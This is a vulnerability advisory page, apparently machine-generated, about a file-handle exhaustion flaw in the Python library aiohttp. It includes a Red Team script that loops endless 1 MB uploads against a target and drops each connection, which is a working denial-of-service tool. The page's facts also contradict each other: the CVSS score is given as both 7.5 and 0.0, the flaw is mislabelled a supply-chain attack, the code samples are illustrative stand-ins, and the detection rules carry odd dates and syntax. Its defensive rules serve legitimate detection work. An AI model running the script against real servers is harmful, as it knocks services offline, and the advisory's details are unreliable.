☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-404
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-54280

CVE-2026-54280 Supply Chain Attack in Aiohttp
📅 PUBLISHED: 2026-06-22 16:40 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
License: Open Source
Affected: Aiohttp — upgrade to patched release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-54280 is a resource exhaustion vulnerability in the Aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw occurs when a client disconnects in the middle of a write operation, causing payload resources (such as open file handles) to not be closed correctly. An attacker can repeatedly initiate connections and disconnect mid-write, leading to resource starvation until garbage collection eventually closes the resources. This can degrade server performance or cause a denial of service (DoS). The vulnerability is fixed in Aiohttp version 3.14.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using Aiohttp in their Python applications should immediately update to version 3.14.1 or later. Since Aiohttp is a widely used library for building asynchronous web services, the supply chain risk is moderate. Attackers could exploit this in any application that uses Aiohttp to handle HTTP requests, especially those that process file uploads or streaming payloads.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Base Score not provided, but based on description, likely low to medium)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): None (N)
  • Integrity (I): None (N)
  • Availability (A): Low (L)
  • Threat Level: Low to Medium. The vulnerability requires an attacker to repeatedly connect and disconnect, which is easily detectable. However, it can lead to resource exhaustion and service degradation.

Deep Dive & Mechanics

The vulnerability lies in how Aiohttp handles payload resources during write operations. When a client sends a request with a payload (e.g., a file upload or streaming data), Aiohttp opens a resource (like a file handle) to read the payload. If the client disconnects before the write completes, the resource is not properly closed. This is due to missing cleanup logic in the error handling path.

The attack flow:

  1. Attacker establishes a connection to an Aiohttp server.
  2. Attacker sends a request with a payload (e.g., a large file upload).
  3. Attacker disconnects mid-write (e.g., by closing the TCP connection).
  4. The server does not close the associated file handle or resource.
  5. Repeated exploitation leads to exhaustion of file descriptors or other limited resources.
  6. The server becomes unable to accept new connections or process requests until garbage collection frees the resources.

The fix in version 3.14.1 ensures that payload resources are closed in all exit paths, including when the client disconnects prematurely.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

async def handle_request(request):
    payload = await request.content.read()
    # Process payload...
    # If client disconnects here, resource is not closed
    # Missing cleanup

Patched Code (simplified):

async def handle_request(request):
    try:
        payload = await request.content.read()
        # Process payload...
    finally:
        # Ensure resource is closed
        await request.content.close()

The patched version uses a try...finally block to guarantee that the payload resource is closed even if an exception or disconnection occurs.

Exploitation & Lab Setup

Red Team

To simulate the attack, you can use a simple Python script that opens many connections and disconnects mid-write:

import asyncio
import aiohttp

async def exploit():
    connector = aiohttp.TCPConnector(limit=0)
    async with aiohttp.ClientSession(connector=connector) as session:
        while True:
            try:
                # Open connection and send partial payload
                async with session.post('http://target:8080/upload', data=b'A' * 1024 * 1024) as resp:
                    # Disconnect before reading response
                    await resp.close()
            except:
                pass

asyncio.run(exploit())

Note: This is for educational purposes only. Do not use against systems without permission.

Blue Team

To detect this attack, monitor for:

  • A high number of incomplete HTTP requests.
  • Rapid connection/disconnection patterns from the same IP.
  • Increasing file descriptor usage on the server.

Use the following Python script to monitor file descriptors:

import psutil
import time

while True:
    proc = psutil.Process()
    print(f"Open FDs: {proc.num_fds()}")
    time.sleep(1)

Indicators of Compromise (IOCs)

  • Network: Multiple TCP connections from the same source IP that are established and then immediately closed (RST or FIN) without completing HTTP requests.
  • System: High number of open file descriptors on the Aiohttp server process.
  • Logs: Server logs showing many ConnectionResetError or ClientDisconnected errors.
  • Performance: Degraded server response times or inability to accept new connections.

Detection Engineering

YARA Rule

rule CVE_2026_54280_Aiohttp_Resource_Leak {
    meta:
        description = "Detects Aiohttp versions vulnerable to CVE-2026-54280"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-54280"
    strings:
        $vuln_version = /aiohttp[_-]?[0-2]\.\d+\.\d+|aiohttp[_-]?3\.(0|1[0-3])\.\d+/
        $patch_version = /aiohttp[_-]?3\.14\.\d+/
    condition:
        $vuln_version and not $patch_version
}

Sigma Rule

title: Aiohttp Resource Exhaustion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple incomplete HTTP requests to Aiohttp server indicating CVE-2026-54280 exploitation
author: Valters IT
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        event: "ConnectionResetError" OR "ClientDisconnected"
    condition: selection | count() > 100 by src_ip within 60s
falsepositives:
    - Legitimate network issues
level: medium

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2026-54280 Aiohttp Resource Exhaustion Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; flowbits:set,aiohttp_exploit; threshold:type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update Aiohttp to version 3.14.1 or later.
    pip install aiohttp>=3.14.1
    
  2. Workaround: If immediate update is not possible, implement a reverse proxy (e.g., Nginx) to limit connection rates and close idle connections.
  3. Monitoring: Enable logging for connection errors and set up alerts for high file descriptor usage.
  4. Rate Limiting: Use middleware to limit the number of concurrent connections from a single IP.
  5. Resource Limits: Configure OS limits for open file descriptors (ulimit -n) and monitor usage.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-54280/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.